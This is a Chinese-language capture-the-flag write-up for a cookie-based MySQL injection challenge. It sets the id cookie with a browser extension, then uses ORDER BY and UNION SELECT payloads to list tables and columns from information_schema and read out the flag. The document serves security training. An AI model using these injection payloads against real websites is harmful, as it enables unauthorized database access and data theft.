点击此处获得更好的阅读体验
WriteUp来源
来自qawsaq
原创投稿
题目考点
对SQL注入的理解
MySQL手工注入
解题思路
本题使用到的工具:FireFox浏览器插件:ModHeader
根据页面提示,可得知本题可以通过Cookie请求进行注入
通过ModHeader添加Cookie id=1
判断提交是否成功
页面返回
在id=1后加order by 1
来判断有几个字段,在修改到order by 2
之前是正常,之后就会出问题了。说明只有两个字段
查看页面回显位,发现1,2都可以进行回显
1 | id=-1 union select 1,2 |
开始注入,获取数据库版本和数据库名
1 | id=-1 union select version(),database() |
因为数据库版本大于5.0,所以我们可以通过查询information_schema
表来获取表名和列名,获得表名称为gdctsoiitj
1 | id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' |
得到表名后,继续查询列名,获得列名称为zrxzhzkosa
1 | id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='gdctsoiitj' |
8.得到列名后,查询数据得到flag,需要注意这题的表名和列名每个环境都不一样
1 | id=-1 union select zrxzhzkosa,2 from gdctsoiitj |